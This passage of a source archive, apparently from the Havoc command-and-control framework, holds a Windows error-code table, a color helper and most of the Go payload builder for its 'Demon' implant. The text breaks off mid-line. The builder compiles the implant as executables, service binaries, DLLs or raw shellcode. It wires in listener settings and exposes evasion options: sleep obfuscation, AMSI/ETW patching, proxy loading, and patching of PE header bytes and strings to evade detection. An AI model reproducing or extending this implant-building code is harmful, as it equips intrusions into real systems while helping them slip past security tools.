"ERROR_NOT_ENOUGH_SERVER_MEMORY", 1131: "ERROR_POSSIBLE_DEADLOCK", 1132: "ERROR_MAPPED_ALIGNMENT", 1140: "ERROR_SET_POWER_STATE_VETOED", 1141: "ERROR_SET_POWER_STATE_FAILED", 1142: "ERROR_TOO_MANY_LINKS", 1150: "ERROR_OLD_WIN_VERSION", 1151: "ERROR_APP_WRONG_OS", 1152: "ERROR_SINGLE_INSTANCE_APP", 1153: "ERROR_RMODE_APP", 1154: "ERROR_INVALID_DLL", 1155: "ERROR_NO_ASSOCIATION", 1156: "ERROR_DDE_FAIL", 1157: "ERROR_DLL_NOT_FOUND", 1158: "ERROR_NO_MORE_USER_HANDLES", 1159: "ERROR_MESSAGE_SYNC_ONLY", 1160: "ERROR_SOURCE_ELEMENT_EMPTY", 1161: "ERROR_DESTINATION_ELEMENT_FULL", 1162: "ERROR_ILLEGAL_ELEMENT_ADDRESS", 1163: "ERROR_MAGAZINE_NOT_PRESENT", 1164: "ERROR_DEVICE_REINITIALIZATION_NEEDED", 1165: "ERROR_DEVICE_REQUIRES_CLEANING", 1166: "ERROR_DEVICE_DOOR_OPEN", 1167: "ERROR_DEVICE_NOT_CONNECTED", 1168: "ERROR_NOT_FOUND", 1169: "ERROR_NO_MATCH", 1170: "ERROR_SET_NOT_FOUND", 1171: "ERROR_POINT_NOT_FOUND", 1172: "ERROR_NO_TRACKING_SERVICE", 1173: "ERROR_NO_VOLUME_ID", 2108: "ERROR_CONNECTED_OTHER_PASSWORD", 2202: "ERROR_BAD_USERNAME", 2250: "ERROR_NOT_CONNECTED", 2401: "ERROR_OPEN_FILES", 2402: "ERROR_ACTIVE_CONNECTIONS", 2404: "ERROR_DEVICE_IN_USE", 1200: "ERROR_BAD_DEVICE", 1201: "ERROR_CONNECTION_UNAVAIL", 1202: "ERROR_DEVICE_ALREADY_REMEMBERED", 1203: "ERROR_NO_NET_OR_BAD_PATH", 1204: "ERROR_BAD_PROVIDER", 1205: "ERROR_CANNOT_OPEN_PROFILE", 1206: "ERROR_BAD_PROFILE", 1207: "ERROR_NOT_CONTAINER", 1208: "ERROR_EXTENDED_ERROR", 1209: "ERROR_INVALID_GROUPNAME", 1210: "ERROR_INVALID_COMPUTERNAME", 1211: "ERROR_INVALID_EVENTNAME", 1212: "ERROR_INVALID_DOMAINNAME", 1213: "ERROR_INVALID_SERVICENAME", 1214: "ERROR_INVALID_NETNAME", 1215: "ERROR_INVALID_SHARENAME", 1216: "ERROR_INVALID_PASSWORDNAME", 1217: "ERROR_INVALID_MESSAGENAME", 1218: "ERROR_INVALID_MESSAGEDEST", 1219: "ERROR_SESSION_CREDENTIAL_CONFLICT", 1220: "ERROR_REMOTE_SESSION_LIMIT_EXCEEDED", 1221: "ERROR_DUP_DOMAINNAME", 1222: "ERROR_NO_NETWORK", 1223: "ERROR_CANCELLED", 1224: "ERROR_USER_MAPPED_FILE", 1225: "ERROR_CONNECTION_REFUSED", 1226: "ERROR_GRACEFUL_DISCONNECT", 1227: "ERROR_ADDRESS_ALREADY_ASSOCIATED", 1228: "ERROR_ADDRESS_NOT_ASSOCIATED", 1229: "ERROR_CONNECTION_INVALID", 1230: "ERROR_CONNECTION_ACTIVE", 1231: "ERROR_NETWORK_UNREACHABLE", 1232: "ERROR_HOST_UNREACHABLE", 1233: "ERROR_PROTOCOL_UNREACHABLE", 1234: "ERROR_PORT_UNREACHABLE", 1235: "ERROR_REQUEST_ABORTED", 1236: "ERROR_CONNECTION_ABORTED", 1237: "ERROR_RETRY", 1238: "ERROR_CONNECTION_COUNT_LIMIT", 1239: "ERROR_LOGIN_TIME_RESTRICTION", 1240: "ERROR_LOGIN_WKSTA_RESTRICTION", 1241: "ERROR_INCORRECT_ADDRESS", 1242: "ERROR_ALREADY_REGISTERED", 1243: "ERROR_SERVICE_NOT_FOUND", 1244: "ERROR_NOT_AUTHENTICATED", 1245: "ERROR_NOT_LOGGED_ON", 1246: "ERROR_CONTINUE", 1247: "ERROR_ALREADY_INITIALIZED", 1248: "ERROR_NO_MORE_DEVICES", 1249: "ERROR_NO_SUCH_SITE", 1250: "ERROR_DOMAIN_CONTROLLER_EXISTS", 1251: "ERROR_DS_NOT_INSTALLED", 1300: "ERROR_NOT_ALL_ASSIGNED", 1301: "ERROR_SOME_NOT_MAPPED", 1302: "ERROR_NO_QUOTAS_FOR_ACCOUNT", 1303: "ERROR_LOCAL_USER_SESSION_KEY", 1304: "ERROR_NULL_LM_PASSWORD", 1305: "ERROR_UNKNOWN_REVISION", 1306: "ERROR_REVISION_MISMATCH", 1307: "ERROR_INVALID_OWNER", 1308: "ERROR_INVALID_PRIMARY_GROUP", 1309: "ERROR_NO_IMPERSONATION_TOKEN", 1310: "ERROR_CANT_DISABLE_MANDATORY", 1311: "ERROR_NO_LOGON_SERVERS", 1312: "ERROR_NO_SUCH_LOGON_SESSION", 1313: "ERROR_NO_SUCH_PRIVILEGE", 1314: "ERROR_PRIVILEGE_NOT_HELD", 1315: "ERROR_INVALID_ACCOUNT_NAME", 1316: "ERROR_USER_EXISTS", 1317: "ERROR_NO_SUCH_USER", 1318: "ERROR_GROUP_EXISTS", 1319: "ERROR_NO_SUCH_GROUP", 1320: "ERROR_MEMBER_IN_GROUP", 1321: "ERROR_MEMBER_NOT_IN_GROUP", 1322: "ERROR_LAST_ADMIN", 1323: "ERROR_WRONG_PASSWORD", 1324: "ERROR_ILL_FORMED_PASSWORD", 1325: "ERROR_PASSWORD_RESTRICTION", 1326: "ERROR_LOGON_FAILURE", 1327: "ERROR_ACCOUNT_RESTRICTION", 1328: "ERROR_INVALID_LOGON_HOURS", 1329: "ERROR_INVALID_WORKSTATION", 1330: "ERROR_PASSWORD_EXPIRED", 1331: "ERROR_ACCOUNT_DISABLED", 1332: "ERROR_NONE_MAPPED", 1333: "ERROR_TOO_MANY_LUIDS_REQUESTED", 1334: "ERROR_LUIDS_EXHAUSTED", 1335: "ERROR_INVALID_SUB_AUTHORITY", 1336: "ERROR_INVALID_ACL", 1337: "ERROR_INVALID_SID", 1338: "ERROR_INVALID_SECURITY_DESCR", 1340: "ERROR_BAD_INHERITANCE_ACL", 1341: "ERROR_SERVER_DISABLED", 1342: "ERROR_SERVER_NOT_DISABLED", 1343: "ERROR_INVALID_ID_AUTHORITY", 1344: "ERROR_ALLOTTED_SPACE_EXCEEDED", 1345: "ERROR_INVALID_GROUP_ATTRIBUTES", 1346: "ERROR_BAD_IMPERSONATION_LEVEL", 1347: "ERROR_CANT_OPEN_ANONYMOUS", 1348: "ERROR_BAD_VALIDATION_CLASS", 1349: "ERROR_BAD_TOKEN_TYPE", 1350: "ERROR_NO_SECURITY_ON_OBJECT", 1351: "ERROR_CANT_ACCESS_DOMAIN_INFO", 1352: "ERROR_INVALID_SERVER_STATE", 1353: "ERROR_INVALID_DOMAIN_STATE", 1354: "ERROR_INVALID_DOMAIN_ROLE", 1355: "ERROR_NO_SUCH_DOMAIN", 1356: "ERROR_DOMAIN_EXISTS", 1357: "ERROR_DOMAIN_LIMIT_EXCEEDED", 1358: "ERROR_INTERNAL_DB_CORRUPTION", 1359: "ERROR_INTERNAL_ERROR", 1360: "ERROR_GENERIC_NOT_MAPPED", 1361: "ERROR_BAD_DESCRIPTOR_FORMAT", 1362: "ERROR_NOT_LOGON_PROCESS", 1363: "ERROR_LOGON_SESSION_EXISTS", 1364: "ERROR_NO_SUCH_PACKAGE", 1365: "ERROR_BAD_LOGON_SESSION_STATE", 1366: "ERROR_LOGON_SESSION_COLLISION", 1367: "ERROR_INVALID_LOGON_TYPE", 1368: "ERROR_CANNOT_IMPERSONATE", 1369: "ERROR_RXACT_INVALID_STATE", 1370: "ERROR_RXACT_COMMIT_FAILURE", 1371: "ERROR_SPECIAL_ACCOUNT", 1372: "ERROR_SPECIAL_GROUP", 1373: "ERROR_SPECIAL_USER", 1374: "ERROR_MEMBERS_PRIMARY_GROUP", 1375: "ERROR_TOKEN_ALREADY_IN_USE", 1376: "ERROR_NO_SUCH_ALIAS", 1377: "ERROR_MEMBER_NOT_IN_ALIAS", 1378: "ERROR_MEMBER_IN_ALIAS", 1379: "ERROR_ALIAS_EXISTS", 1380: "ERROR_LOGON_NOT_GRANTED", 1381: "ERROR_TOO_MANY_SECRETS", 1382: "ERROR_SECRET_TOO_LONG", 1383: "ERROR_INTERNAL_DB_ERROR", 1384: "ERROR_TOO_MANY_CONTEXT_IDS", 1385: "ERROR_LOGON_TYPE_NOT_GRANTED", 1386: "ERROR_NT_CROSS_ENCRYPTION_REQUIRED", 1387: "ERROR_NO_SUCH_MEMBER", 1388: "ERROR_INVALID_MEMBER", 1389: "ERROR_TOO_MANY_SIDS", 1390: "ERROR_LM_CROSS_ENCRYPTION_REQUIRED", 1391: "ERROR_NO_INHERITANCE", 1392: "ERROR_FILE_CORRUPT", 1393: "ERROR_DISK_CORRUPT", 1394: "ERROR_NO_USER_SESSION_KEY", 1395: "ERROR_LICENSE_QUOTA_EXCEEDED", 1400: "ERROR_INVALID_WINDOW_HANDLE", 1401: "ERROR_INVALID_MENU_HANDLE", 1402: "ERROR_INVALID_CURSOR_HANDLE", 1403: "ERROR_INVALID_ACCEL_HANDLE", 1404: "ERROR_INVALID_HOOK_HANDLE", 1405: "ERROR_INVALID_DWP_HANDLE", 1406: "ERROR_TLW_WITH_WSCHILD", 1407: "ERROR_CANNOT_FIND_WND_CLASS", 1408: "ERROR_WINDOW_OF_OTHER_THREAD", 1409: "ERROR_HOTKEY_ALREADY_REGISTERED", 1410: "ERROR_CLASS_ALREADY_EXISTS", 1411: "ERROR_CLASS_DOES_NOT_EXIST", 1412: "ERROR_CLASS_HAS_WINDOWS", 1413: "ERROR_INVALID_INDEX", 1414: "ERROR_INVALID_ICON_HANDLE", 1415: "ERROR_PRIVATE_DIALOG_INDEX", 1416: "ERROR_LISTBOX_ID_NOT_FOUND", 1417: "ERROR_NO_WILDCARD_CHARACTERS", 1418: "ERROR_CLIPBOARD_NOT_OPEN", 1419: "ERROR_HOTKEY_NOT_REGISTERED", 1420: "ERROR_WINDOW_NOT_DIALOG", 1421: "ERROR_CONTROL_ID_NOT_FOUND", 1422: "ERROR_INVALID_COMBOBOX_MESSAGE", 1423: "ERROR_WINDOW_NOT_COMBOBOX", 1424: "ERROR_INVALID_EDIT_HEIGHT", 1425: "ERROR_DC_NOT_FOUND", 1426: "ERROR_INVALID_HOOK_FILTER", 1427: "ERROR_INVALID_FILTER_PROC", 1428: "ERROR_HOOK_NEEDS_HMOD", 1429: "ERROR_GLOBAL_ONLY_HOOK", 1430: "ERROR_JOURNAL_HOOK_SET", 1431: "ERROR_HOOK_NOT_INSTALLED", 1432: "ERROR_INVALID_LB_MESSAGE", 1433: "ERROR_SETCOUNT_ON_BAD_LB", 1434: "ERROR_LB_WITHOUT_TABSTOPS", 1435: "ERROR_DESTROY_OBJECT_OF_OTHER_THREAD", 1436: "ERROR_CHILD_WINDOW_MENU", 1437: "ERROR_NO_SYSTEM_MENU", 1438: "ERROR_INVALID_MSGBOX_STYLE", 1439: "ERROR_INVALID_SPI_VALUE", 1440: "ERROR_SCREEN_ALREADY_LOCKED", 1441: "ERROR_HWNDS_HAVE_DIFF_PARENT", 1442: "ERROR_NOT_CHILD_WINDOW", 1443: "ERROR_INVALID_GW_COMMAND", 1444: "ERROR_INVALID_THREAD_ID", 1445: "ERROR_NON_MDICHILD_WINDOW", 1446: "ERROR_POPUP_ALREADY_ACTIVE", 1447: "ERROR_NO_SCROLLBARS", 1448: "ERROR_INVALID_SCROLLBAR_RANGE", 1449: "ERROR_INVALID_SHOWWIN_COMMAND", 1450: "ERROR_NO_SYSTEM_RESOURCES", 1451: "ERROR_NONPAGED_SYSTEM_RESOURCES", 1452: "ERROR_PAGED_SYSTEM_RESOURCES", 1453: "ERROR_WORKING_SET_QUOTA", 1454: "ERROR_PAGEFILE_QUOTA", 1455: "ERROR_COMMITMENT_LIMIT", 1456: "ERROR_MENU_ITEM_NOT_FOUND", 1457: "ERROR_INVALID_KEYBOARD_HANDLE", 1458: "ERROR_HOOK_TYPE_NOT_ALLOWED", 1459: "ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION", 1460: "ERROR_TIMEOUT", 1461: "ERROR_INVALID_MONITOR_HANDLE", 1462: "ERROR_INCORRECT_SIZE", 1463: "ERROR_SYMLINK_CLASS_DISABLED", 1464: "ERROR_SYMLINK_NOT_SUPPORTED", 1465: "ERROR_XML_PARSE_ERROR", 1466: "ERROR_XMLDSIG_ERROR", 1467: "ERROR_RESTART_APPLICATION", 1468: "ERROR_WRONG_COMPARTMENT", 1469: "ERROR_AUTHIP_FAILURE", 1500: "ERROR_EVENTLOG_FILE_CORRUPT", 1501: "ERROR_EVENTLOG_CANT_START", 1502: "ERROR_LOG_FILE_FULL", 1503: "ERROR_EVENTLOG_FILE_CHANGED", 1601: "ERROR_INSTALL_SERVICE", 1602: "ERROR_INSTALL_USEREXIT", 1603: "ERROR_INSTALL_FAILURE", 1604: "ERROR_INSTALL_SUSPEND", 1605: "ERROR_UNKNOWN_PRODUCT", 1606: "ERROR_UNKNOWN_FEATURE", 1607: "ERROR_UNKNOWN_COMPONENT", 1608: "ERROR_UNKNOWN_PROPERTY", 1609: "ERROR_INVALID_HANDLE_STATE", 1610: "ERROR_BAD_CONFIGURATION", 1611: "ERROR_INDEX_ABSENT", 1612: "ERROR_INSTALL_SOURCE_ABSENT", 1613: "ERROR_BAD_DATABASE_VERSION", 1614: "ERROR_PRODUCT_UNINSTALLED", 1615: "ERROR_BAD_QUERY_SYNTAX", 1616: "ERROR_INVALID_FIELD", 1617: "ERROR_DEVICE_REMOVED", 1618: "ERROR_INSTALL_ALREADY_RUNNING", 1619: "ERROR_INSTALL_PACKAGE_OPEN_FAILED", 1620: "ERROR_INSTALL_PACKAGE_INVALID", 1621: "ERROR_INSTALL_UI_FAILURE", 1622: "ERROR_INSTALL_LOG_FAILURE", 1623: "ERROR_INSTALL_LANGUAGE_UNSUPPORTED", 1624: "ERROR_INSTALL_TRANSFORM_FAILURE", 1625: "ERROR_INSTALL_PACKAGE_REJECTED", 1626: "ERROR_FUNCTION_NOT_CALLED", 1627: "ERROR_FUNCTION_FAILED", 1628: "ERROR_INVALID_TABLE", 1629: "ERROR_DATATYPE_MISMATCH", 1630: "ERROR_UNSUPPORTED_TYPE", 1631: "ERROR_CREATE_FAILED", 1632: "ERROR_INSTALL_TEMP_UNWRITABLE", 1633: "ERROR_INSTALL_PLATFORM_UNSUPPORTED", 1634: "ERROR_INSTALL_NOTUSED", 1635: "ERROR_PATCH_PACKAGE_OPEN_FAILED", 1636: "ERROR_PATCH_PACKAGE_INVALID", 1637: "ERROR_PATCH_PACKAGE_UNSUPPORTED", 1638: "ERROR_PRODUCT_VERSION", 1639: "ERROR_INVALID_COMMAND_LINE", 1640: "ERROR_INSTALL_REMOTE_DISALLOWED", 1641: "ERROR_SUCCESS_REBOOT_INITIATED", 1642: "ERROR_PATCH_TARGET_NOT_FOUND", 1643: "ERROR_PATCH_PACKAGE_REJECTED", 1644: "ERROR_INSTALL_TRANSFORM_REJECTED", 1645: "ERROR_INSTALL_REMOTE_PROHIBITED", 1646: "ERROR_PATCH_REMOVAL_UNSUPPORTED", 1647: "ERROR_UNKNOWN_PATCH", 1648: "ERROR_PATCH_NO_SEQUENCE", 1649: "ERROR_PATCH_REMOVAL_DISALLOWED", 1650: "ERROR_INVALID_PATCH_XML", 1651: "ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT", 1652: "ERROR_INSTALL_SERVICE_SAFEBOOT", } havoc-0.6~git20240910.69ce17c/teamserver/pkg/colors/000077500000000000000000000000001467014221700215265ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/colors/colors.go000066400000000000000000000017611467014221700233630ustar00rootroot00000000000000package colors import "github.com/fatih/color" var ( Blue = color.New(color.FgBlue).SprintFunc() Red = color.New(color.FgRed).SprintFunc() Green = color.New(color.FgGreen).SprintFunc() Yellow = color.New(color.FgYellow).SprintFunc() White = color.New(color.FgHiWhite).SprintFunc() BoldBlue = color.New(color.FgBlue, color.Bold).SprintFunc() BoldRed = color.New(color.FgRed, color.Bold).SprintFunc() BoldGreen = color.New(color.FgGreen, color.Bold).SprintFunc() BoldYellow = color.New(color.FgYellow, color.Bold).SprintFunc() BoldWhite = color.New(color.FgHiWhite, color.Bold).SprintFunc() RedUnderline = color.New(color.FgRed).Add(color.Underline).SprintFunc() BlueUnderline = color.New(color.FgBlue).Add(color.Underline).SprintFunc() GreenUnderline = color.New(color.FgGreen).Add(color.Underline).SprintFunc() YellowUnderline = color.New(color.FgYellow).Add(color.Underline).SprintFunc() WhiteUnderline = color.New(color.FgHiWhite).Add(color.Underline).SprintFunc() ) havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/000077500000000000000000000000001467014221700215155ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/builder/000077500000000000000000000000001467014221700231435ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/builder/builder.go000066400000000000000000000716361467014221700251350ustar00rootroot00000000000000package builder import ( "bytes" //"encoding/hex" "encoding/json" "errors" "fmt" "os" "os/exec" "path" "path/filepath" "strconv" "strings" "Havoc/pkg/common" "Havoc/pkg/common/packer" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/profile" "Havoc/pkg/utils" "Havoc/pkg/win32" ) // TODO: move to agent package const ( PayloadDir = "payloads" PayloadName = "demon" ) const ( FILETYPE_WINDOWS_EXE = 1 FILETYPE_WINDOWS_SERVICE_EXE = 2 FILETYPE_WINDOWS_DLL = 3 FILETYPE_WINDOWS_REFLECTIVE_DLL = 4 FILETYPE_WINDOWS_RAW_BINARY = 5 ) const ( SLEEPOBF_NO_OBF = 0 SLEEPOBF_EKKO = 1 SLEEPOBF_ZILEAN = 2 SLEEPOBF_FOLIAGE = 3 ) const ( SLEEPOBF_BYPASS_NONE = 0 SLEEPOBF_BYPASS_JMPRAX = 1 SLEEPOBF_BYPASS_JMPRBX = 2 ) const ( PROXYLOADING_NONE = 0 PROXYLOADING_RTLREGISTERWAIT = 1 PROXYLOADING_RTLCREATETIMER = 2 PROXYLOADING_RTLQUEUEWORKITEM = 3 ) const ( AMSIETW_PATCH_NONE = 0 AMSIETW_PATCH_HWBP = 1 AMSIETW_PATCH_MEMORY = 2 ) const ( ARCHITECTURE_X64 = 1 ARCHITECTURE_X86 = 2 ) type BuilderConfig struct { Compiler64 string Compiler86 string Nasm string DebugDev bool SendLogs bool } type Builder struct { buildSource bool sourcePath string silent bool Payloads []string FilesCreated []string CompileDir string FileExtenstion string FileType int ClientId string PatchBinary bool ProfileConfig struct { Original any MagicMzX64 string MagicMzX86 string ImageSizeX64 int ImageSizeX86 int ReplaceStringsX64 map[string]string ReplaceStringsX86 map[string]string } config struct { Arch int ListenerType int ListenerConfig any Config map[string]any } ImplantOptions struct { Config []byte } compilerOptions struct { Config BuilderConfig SourceDirs []string IncludeDirs []string CFlags []string Defines []string Main struct { Demon string Dll string Exe string Svc string } } outputPath string preBytes []byte SendConsoleMessage func(MsgType, Message string) } func NewBuilder(config BuilderConfig) *Builder { var builder = new(Builder) builder.sourcePath = utils.GetTeamserverPath() + "/" + PayloadDir + "/Demon" builder.config.Arch = ARCHITECTURE_X64 builder.compilerOptions.SourceDirs = []string{ "src/core", "src/crypt", "src/inject", "src/asm", } builder.compilerOptions.IncludeDirs = []string{ "include", } /* * -Os Optimize for space rather than speed. * -fno-asynchronous-unwind-tables Suppresses the generation of static unwind tables (as opposed to complete exception-handling code). * -masm=intel Use the intel assembler dialect * -fno-ident Ignore the #ident directive. * -fpack-struct= Set initial maximum structure member alignment. * -falign-functions= Align the start of functions to the next power-of-two greater than or equal to n, skipping up to m-1 bytes. * -s Remove all symbols * -ffunction-sections Place each function into its own section. * -fdata-sections Place each global or static variable into .data.variable_name, .rodata.variable_name or .bss.variable_name. * -falign-jumps= Align branch targets to a power-of-two boundary. * -w Suppress warnings. * -falign-labels= Align all branch targets to a power-of-two boundary. * -fPIC Generate position-independent code if possible (large mode). * -Wl passes a comma-separated list of tokens as a space-separated list of arguments to the linker. * -s Remove all symbol table and relocation information from the executable. * --no-seh Image does not use SEH. * --enable-stdcall-fixup Link _sym to _sym@nn without warnings. * --gc-sections Decides which input sections are used by examining symbols and relocations. */ logger.Debug(fmt.Sprintf("Payload Builder: Enable Debug Mode %v", config.DebugDev)) if config.DebugDev { // debug mode includes symbols builder.compilerOptions.CFlags = []string{ "", "-Os -fno-asynchronous-unwind-tables -masm=intel", "-fno-ident -fpack-struct=8 -falign-functions=1", "-ffunction-sections -fdata-sections -falign-jumps=1 -w", "-falign-labels=1 -fPIC", "-Wl,--no-seh,--enable-stdcall-fixup,--gc-sections", } } else { builder.compilerOptions.CFlags = []string{ "", "-Os -fno-asynchronous-unwind-tables -masm=intel", "-fno-ident -fpack-struct=8 -falign-functions=1", "-s -ffunction-sections -fdata-sections -falign-jumps=1 -w", "-falign-labels=1 -fPIC", "-Wl,-s,--no-seh,--enable-stdcall-fixup,--gc-sections", } } builder.compilerOptions.Main.Dll = "src/main/MainDll.c" builder.compilerOptions.Main.Exe = "src/main/MainExe.c" builder.compilerOptions.Main.Svc = "src/main/MainSvc.c" builder.compilerOptions.Config = config builder.PatchBinary = false return builder } func (b *Builder) SetSilent(silent bool) { b.silent = silent } func (b *Builder) Build() bool { var ( CompileCommand string AsmObj string ) b.CompileDir = "/tmp/" + utils.GenerateID(10) + "/" err := os.Mkdir(b.CompileDir, os.ModePerm) if err != nil { logger.Error("Failed to create compile directory: " + err.Error()) return false } if b.outputPath == "" && b.FileExtenstion != "" { b.SetOutputPath(b.CompileDir + PayloadName + b.FileExtenstion) } if b.config.ListenerType == handlers.LISTENER_EXTERNAL { b.SendConsoleMessage("Error", "External listeners are not support for payload build") b.SendConsoleMessage("Error", "Use SMB listener") return false } if !b.silent { b.SendConsoleMessage("Info", "starting build") } Config, err := b.PatchConfig() if err != nil { b.SendConsoleMessage("Error", err.Error()) return false } if !b.silent { b.SendConsoleMessage("Info", fmt.Sprintf("config size [%v bytes]", len(Config))) } //logger.Debug("len(Config) = ", len(Config)) array := "{" for i := range Config { if i == (len(Config) - 1) { array += fmt.Sprintf("0x%02x", Config[i]) } else { array += fmt.Sprintf("0x%02x\\,", Config[i]) } } array += "}" //logger.Debug("array = " + array) b.compilerOptions.Defines = append(b.compilerOptions.Defines, "CONFIG_BYTES="+array) // enable sending debug entries over HTTP(S) to the teamserver if b.compilerOptions.Config.SendLogs { b.compilerOptions.Defines = append(b.compilerOptions.Defines, "SEND_LOGS") } // enable debug mode if b.compilerOptions.Config.DebugDev { b.compilerOptions.Defines = append(b.compilerOptions.Defines, "DEBUG") } else { if b.FileType == FILETYPE_WINDOWS_SERVICE_EXE { b.compilerOptions.CFlags[0] = "-mwindows -ladvapi32" } else { b.compilerOptions.CFlags[0] += " -nostdlib -mwindows" } } // add compiler if b.config.Arch == ARCHITECTURE_X64 { abs, err := filepath.Abs(b.compilerOptions.Config.Compiler64) if err != nil { if !b.silent { b.SendConsoleMessage("Error", fmt.Sprintf("failed to resolve x64 compiler path: %v", err)) return false } } b.compilerOptions.Config.Compiler64 = abs CompileCommand += "\"" + b.compilerOptions.Config.Compiler64 + "\" " } else { abs, err := filepath.Abs(b.compilerOptions.Config.Compiler86) if err != nil { if !b.silent { b.SendConsoleMessage("Error", fmt.Sprintf("failed to resolve x86 compiler path: %v", err)) return false } } b.compilerOptions.Config.Compiler86 = abs CompileCommand += "\"" + b.compilerOptions.Config.Compiler86 + "\" " } // add sources for _, dir := range b.compilerOptions.SourceDirs { files, err := os.ReadDir(b.sourcePath + "/" + dir) if err != nil { logger.Error(err) } for _, f := range files { var FilePath = dir + "/" + f.Name() // only add the assembly if the demon is x64 if path.Ext(f.Name()) == ".asm" { if (strings.Contains(f.Name(), ".x64.") && b.config.Arch == ARCHITECTURE_X64) || (strings.Contains(f.Name(), ".x86.") && b.config.Arch == ARCHITECTURE_X86) { AsmObj = b.CompileDir + utils.GenerateID(10) + ".o" var AsmCompile string if b.config.Arch == ARCHITECTURE_X64 { AsmCompile = fmt.Sprintf(b.compilerOptions.Config.Nasm+" -f win64 %s -o %s", FilePath, AsmObj) } else { AsmCompile = fmt.Sprintf(b.compilerOptions.Config.Nasm+" -f win32 %s -o %s", FilePath, AsmObj) } logger.Debug(AsmCompile) b.FilesCreated = append(b.FilesCreated, AsmObj) b.Cmd(AsmCompile) CompileCommand += AsmObj + " " } } else if path.Ext(f.Name()) == ".c" { CompileCommand += FilePath + " " } } } CompileCommand += "src/Demon.c " // add include directories for _, dir := range b.compilerOptions.IncludeDirs { CompileCommand += "-I" + dir + " " } // add cflags CompileCommand += strings.Join(b.compilerOptions.CFlags, " ") // add defines b.compilerOptions.Defines = append(b.compilerOptions.Defines, b.GetListenerDefines()...) for _, define := range b.compilerOptions.Defines { CompileCommand += " -D" + define + " " } switch b.FileType { case FILETYPE_WINDOWS_EXE: logger.Debug("Compile exe") if b.config.Arch == ARCHITECTURE_X64 { CompileCommand += "-D MAIN_THREADED -e WinMain " } else { CompileCommand += "-D MAIN_THREADED -e _WinMain " } CompileCommand += b.compilerOptions.Main.Exe + " " break case FILETYPE_WINDOWS_SERVICE_EXE: logger.Debug("Compile Service exe") if b.config.Arch == ARCHITECTURE_X64 { CompileCommand += "-D MAIN_THREADED -D SVC_EXE -lntdll -e WinMain " } else { CompileCommand += "-D MAIN_THREADED -D SVC_EXE -lntdll -e _WinMain " } CompileCommand += b.compilerOptions.Main.Svc + " " break case FILETYPE_WINDOWS_DLL: logger.Debug("Compile dll") if b.config.Arch == ARCHITECTURE_X64 { CompileCommand += "-shared -e DllMain " } else { CompileCommand += "-shared -e _DllMain " } CompileCommand += b.compilerOptions.Main.Dll + " " break case FILETYPE_WINDOWS_RAW_BINARY: logger.Debug("Compile dll and prepend shellcode to it.") DllPayload := NewBuilder(b.compilerOptions.Config) DllPayload.SetSilent(true) DllPayload.ClientId = b.ClientId DllPayload.SendConsoleMessage = b.SendConsoleMessage DllPayload.config.Config = b.config.Config DllPayload.SetArch(b.config.Arch) DllPayload.SetFormat(FILETYPE_WINDOWS_DLL) DllPayload.SetPatchConfig(b.ProfileConfig.Original) DllPayload.SetListener(b.config.ListenerType, b.config.ListenerConfig) if b.config.Arch == ARCHITECTURE_X64 { DllPayload.SetExtension(".x64.dll") } else { DllPayload.SetExtension(".x86.dll") } DllPayload.compilerOptions.Defines = append(DllPayload.compilerOptions.Defines, "SHELLCODE") b.SendConsoleMessage("Info", "compiling core dll...") if DllPayload.Build() { logger.Debug("Successful compiled Dll") var ( ShellcodePath string DllPayloadBytes []byte Shellcode []byte ) DllPayloadBytes = DllPayload.GetPayloadBytes() DllPayload.DeletePayload() b.SendConsoleMessage("Info", fmt.Sprintf("compiled core dll [%v bytes]", len(DllPayloadBytes))) if b.config.Arch == ARCHITECTURE_X64 { ShellcodePath = utils.GetTeamserverPath() + "/" + PayloadDir + "/Shellcode.x64.bin" } else { ShellcodePath = utils.GetTeamserverPath() + "/" + PayloadDir + "/Shellcode.x86.bin" } ShellcodeTemplate, err := os.ReadFile(ShellcodePath) if err != nil { logger.Error("Couldn't read content of file: " + err.Error()) b.SendConsoleMessage("Error", "couldn't read content of file: "+err.Error()) return false } Shellcode = append(ShellcodeTemplate, DllPayloadBytes...) b.SendConsoleMessage("Info", fmt.Sprintf("shellcode payload [%v bytes]", len(Shellcode))) b.preBytes = Shellcode return true } break } CompileCommand += "-o " + b.outputPath if !b.silent { b.SendConsoleMessage("Info", "compiling source") } //logger.Debug(CompileCommand) Successful := b.CompileCmd(CompileCommand) return Successful } func (b *Builder) SetListener(Type int, Config any) { b.config.ListenerType = Type b.config.ListenerConfig = Config } func (b *Builder) SetPatchConfig(Config any) { logger.Debug("Set Patch config from Profile") if Config != nil { b.PatchBinary = true b.ProfileConfig.Original = Config if Config.(*profile.Binary).Header != nil { b.ProfileConfig.MagicMzX64 = Config.(*profile.Binary).Header.MagicMzX64 b.ProfileConfig.MagicMzX86 = Config.(*profile.Binary).Header.MagicMzX86 b.ProfileConfig.ImageSizeX64 = Config.(*profile.Binary).Header.ImageSizeX64 b.ProfileConfig.ImageSizeX86 = Config.(*profile.Binary).Header.ImageSizeX86 } b.ProfileConfig.ReplaceStringsX64 = Config.(*profile.Binary).ReplaceStringsX64 b.ProfileConfig.ReplaceStringsX86 = Config.(*profile.Binary).ReplaceStringsX86 } } func (b *Builder) SetFormat(Format int) { b.FileType = Format } func (b *Builder) SetArch(Arch int) { b.config.Arch = Arch } func (b *Builder) SetConfig(Config string) error { err := json.Unmarshal([]byte(Config), &b.config.Config) if err != nil { logger.Error("Failed to Unmarshal json to object: " + err.Error()) b.SendConsoleMessage("Error", "failed to Unmarshal json to object: "+err.Error()) return err } return nil } func (b *Builder) SetOutputPath(path string) { b.outputPath = path } func (b *Builder) SetExtension(ext string) { b.FileExtenstion = ext } func (b *Builder) GetOutputPath() string { return b.outputPath } func (b *Builder) Patch(ByteArray []byte) []byte { if b.config.Arch == ARCHITECTURE_X64 { if b.ProfileConfig.MagicMzX64 != "" { for i := range b.ProfileConfig.MagicMzX64 { ByteArray[i] = b.ProfileConfig.MagicMzX64[i] } } if b.ProfileConfig.ReplaceStringsX64 != nil { for old, _ := range b.ProfileConfig.ReplaceStringsX64 { new := []byte(b.ProfileConfig.ReplaceStringsX64[old]) // make sure they are the same length if len(new) < len(old) { new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...) } if len(new) > len(old) { logger.Error(fmt.Sprintf("invalid replacement rule, 